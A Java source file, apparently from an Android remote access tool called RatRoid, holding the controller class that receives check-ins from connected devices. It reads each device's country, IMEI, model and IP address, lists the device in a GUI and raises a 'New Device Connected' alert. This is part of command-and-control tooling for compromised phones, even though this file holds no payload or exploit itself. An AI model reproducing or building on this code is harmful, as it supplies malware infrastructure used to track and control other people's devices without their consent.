/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package Control;

import GUI.Stats;
import GUI.Toaster;
import GUI.MainGui;
import RatRoid.Main;
import java.awt.Toolkit;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.net.Socket;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.ImageIcon;

public class DataHandle {

    private ObjectInputStream ois;
    private User cutilis;
    private InputStream is;
    private String[] recep;
    String imei="";

    public DataHandle() {
    }
    
    public User getutilis() {
        return cutilis;
    }

    public String receive(Socket s, MainGui gui) throws NullPointerException {
        if(s!=null){
        try {
            is = s.getInputStream();
            ois = new ObjectInputStream(is);
            recep = (String[]) ois.readObject();
            cutilis = new User(recep[0], recep[1], s.getInetAddress().toString().substring(1), recep[2], recep[3],"Waiting for response", recep[4], recep[5], recep[6]);
            imei = cutilis.getimei();

            gui.addUser(cutilis);
            Toaster toasterManager = new Toaster();
            ImageIcon icon;
            File f = new File("./res/flags/" + recep[0].toUpperCase() + ".png");
            if (f.exists()) {
                icon = new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/res/flags/" + recep[0].toUpperCase() + ".png")));
            } else {
                icon = new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/res/droidbug.png")));
            }
            toasterManager.showToaster(icon, "...New Device Connected...\nIMEI : " + imei + "\nDevice : " + recep[2]);
            Main.myapp.addStats(new Stats(cutilis.getimei(), cutilis.getdevice(), "User Connected", new Date().toString()));



        } catch (NullPointerException e) {
            Logger.getLogger(Clients.class.getName()).log(Level.SEVERE, null, e);
            try {
                s.close();
            } catch (IOException ex) {
                Logger.getLogger(DataHandle.class.getName()).log(Level.SEVERE, null, ex);
            }
            
        } catch (ClassNotFoundException ex) {
            Logger.getLogger(Clients.class.getName()).log(Level.SEVERE, null, ex);
        } catch (IOException ex) {
            try {
                s.close();
            } catch (IOException ex1) {
                gui.removeUser(cutilis.getimei());
            }
            gui.removeUser(cutilis.getimei());
        } catch (IndexOutOfBoundsException e) {
            try {
                s.close();
                gui.removeUser(cutilis.getimei());
            } catch (IOException e1) {
                gui.removeUser(cutilis.getimei());

            }
        }
    }
        return imei;
    }
}
